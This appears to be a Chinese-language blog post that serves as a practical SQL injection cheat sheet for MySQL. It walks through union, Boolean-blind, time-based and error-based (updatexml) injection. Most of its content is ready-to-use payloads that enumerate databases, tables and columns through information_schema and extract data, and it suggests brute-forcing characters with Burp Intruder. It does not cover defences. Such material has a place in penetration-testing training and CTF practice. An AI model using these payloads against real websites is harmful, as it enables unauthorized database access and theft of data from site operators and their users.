sql注入-实用小手册


前言
本文没有包含细致的原理讲解,只是简单列举基本概念、注入的大致思路和需要的注入语句,写成这样是为了方便捋顺思路,能更好的看清整个注入过程。

前置知识


information_schema数据库的三个表及其中的字段

  • SCHEMATA:存储数据库名
    • SCHEMA_NAME:记录数据库名的字段
  • TABLES:存储数据库名、表名
    • TABLE_SCHEMA:记录表对应的数据库名的字段
    • TABLE_NAME:记录表名的字段
  • COLUMNS:存储数据库名、表名、字段名
    • TABLE_SCHEMA:记录表对应的数据库名的字段
    • TABLE_NAME:记录表名的字段
    • COLUMN_NAME:记录字段名的字段

几个函数

  • database():当前网站使用的数据库
  • version():当前Mysql的版本
  • user():当前Mysql的用户

一、union注入


适用条件
查询后直接将结果数据直接显示在页面的情况,可以尝试union注入。
判断是否存在注入
尝试id=1id=1',查看结果是否相同;
尝试id=1 and 1=1id=1 and 1=2 ,查看结果是否相同;
结果不同表示可能存在sql注入。
判断查询语句的字段数
order by后跟的数字可以暗示查询语句中查询了几个字段。
id=1 order by 1
id=1 order by 2
id=1 order by 3均可以执行,与id=1结果相同。
id=1 order by 4id=1结果不同,则表示查询字段有3个。

为什么要知道查询语句的字段数
在union查询中,前后两个查询语句查询的字段数必须相同。

注入语句

1. 修改id,使id=-1

  • id=1 union select 1,2,3 没有返回select 1,2,3的结果。
    查询语句只返回第一条结果,修改id的值,id=-1,因为不存在该条目,所以会返回union后查询语句的结果。

2. 查看可输出位置

  • id=-1 union select 1,2,3 查看三个查询参数哪个位置会输出Mysql语句。
    此处2,3可以输出,可任选其一。
  • 后续所有的查询语句都直接替换到可输出位置中,需要添加括号。

3. 查询数据库

  • id=-1 union select 1,database(),3在可以输出的位置2,使用database()查询。
    当前网站使用的数据库为“DBxxxl”。
  • id=-1 union select SCHEMA_NAME from information_schema.schemata查询information_schema库中所有的数据库名字。

4. 查询表名

  • 查询语句为:
    select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
  • 完整的注入语句:
    id=-1 union select 1,(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),3
    数据库中我们选择“Tablexxx”作为目标表。

5. 查询字段名

  • 查询语句为:
    select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
  • 完整的注入语句:
    id=-1 union select 1,(select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),3
    选择“Columnxxx”作为目标字段。

6. 查询字段对应的数据

  • 查询语句为:
    select Columnxxx from DBxxx.Tablexxx
    即在数据库DBxxx的Tablexxx表中查询Columnxxx字段的值。

二、Boolean注入


Boolean注入是构造sql判断语句,根据页面返回结果,来推测哪些判断条件是成立的,以此来获取数据库的数据。

适用条件
修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,可以尝试Boolean注入。
获取参数后,代码中通过preg_match过滤了“union/sleep/benchmark”等危险字符,然后才将参数拼接到sql语句进行查询。

判断是否可以进行Boolean注入
尝试id=1id=1',查看结果,第一个为yes,第二个为no。
尝试id=1' and 1=1id=1' and 1=2 ,查看结果,结果认为yes和no。
尝试修改id的值,返回结果依旧是yes和no,由此可判断页面只返回yes和no,需要进行Boolean注入。

注入语句

1. 判断数据库名长度

  • id=1' and length(database())>=3 --+
    "--+"是注释,语句开头有单引号,最后需要注释符号注释掉查询语句末尾的单引号。
    用该语句不断尝试数据库长度,当出现' and length(database())>=4 --+ 为no时,说明数据库名长度为3。

2. 逐字符判断数据库名

  • id=1' and substr(database(),1,1)='a' --+
    其中'a'是我们猜测的数据库名的字符。
    substr(var,start,step)可以截取var的字符,从start开始,每次返回step个。语句中的含义是截取database()的值,从第一个字符开始,每次只返回一个。
    • limit0,1不同,limit0,1是从第0个开始,substr()是从第1个开始。
    • 可以借助burpsuite的intruder功能对猜测的字符进行爆破。
      字符集一般是“az,09”和特殊字符,这里字母不区分大小写
  • id=1' and ord(substr(database(),1,1))=96 --+
    可以使用ASCII码进行猜测,ASCII转换函数为ord()。

3. 表名及字段名查询

  • id=1' and length(database())>=3 --+
  • id=1' and substr(database(),1,1)='a' --+
    将以上两个语句作为基础,将查询表名和字段名的查询(与union注入语句相同)替换‘database()'即可。以逐字符推测其他信息举例如下:
    • 查询所有数据库名
      • 查询语句:
        select SCHEMA_NAME from information_schema.schemata
      • 替换后:
        id=1' and substr((select SCHEMA_NAME from information_schema.schemata),1,1)='a' --+
    • 查询表名:
      • 查询语句:
        select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'
      • 替换后:
        id=1' and substr((select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx'),1,1)='a' --+
    • 查询字段名
      • 查询语句:
        select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'
      • 替换后:
        id=1' and substr((select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx'),1,1)='a' --+

三、时间注入


时间注入利用sleep()和benchmark()等函数使sql查询执行时间延长,从而判断条件是否正确,推断数据库信息。

适用条件
修改id后的内容,当页面不返回数据而是只返回yes或no时,无法使用union注入,且可以使用sleep()函数使得sql查询执行时间延长,可以尝试时间注入。

与Boolean注入的区别
没有过滤"sleep"或“benchmark”字符。

注入语句

  • if(expr1,expr2,expr3)
    若expr1为真,则返回值为expr2,否则返回expr3。类似C语言中的条件表达式a?b:c.
    -时间注入的其他流程与Boolean类似。

1. 判断数据库名长度

  • id=1' and if(length(database())>=3,sleep(5),1) --+
    数据库长度大于等于3时,sql查询休眠5秒,否则查询1。可以使用burpsuite查看响应时间,根据查询的时间推断数据。

2. 逐字符判断数据库名

  • id=1' and if(substr(database(),1,1)='a' ,sleep(5),1) --+
    时间注入思路与Boolean注入一样,只是判断条件改变了。

四、报错注入


利用错误回显,使用floor()、updatexml()等函数将所需信息输出到页面上。

适用条件
尝试id=1',多一个单引号会引发错误,页面回显错误信息,可以尝试报错注入。

注入语句

  • id=1' and updatexml(1,concat(0x7e,(可替换的查询语句),0x7e),1) --+
  • 可替换的查询语句处与union注入相同。因为报错注入只显示一条结果,因此查询语句结尾处需要使用limit 0,1做限制。
  • 可替换语句如下:
    • select database()
    • select user()
    • select SCHEMA_NAME from information_schema.schemata limit 0,1
    • select TABLE_NAME from information_schema.tables where TABLE_SCHEMA='DBxxx' limit 0,1
    • select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA='DBxxx' and TABLE_NAME='Tablexxx' limit 0,1
原文地址:https://www.cnblogs.com/zzRandom/p/12661634.html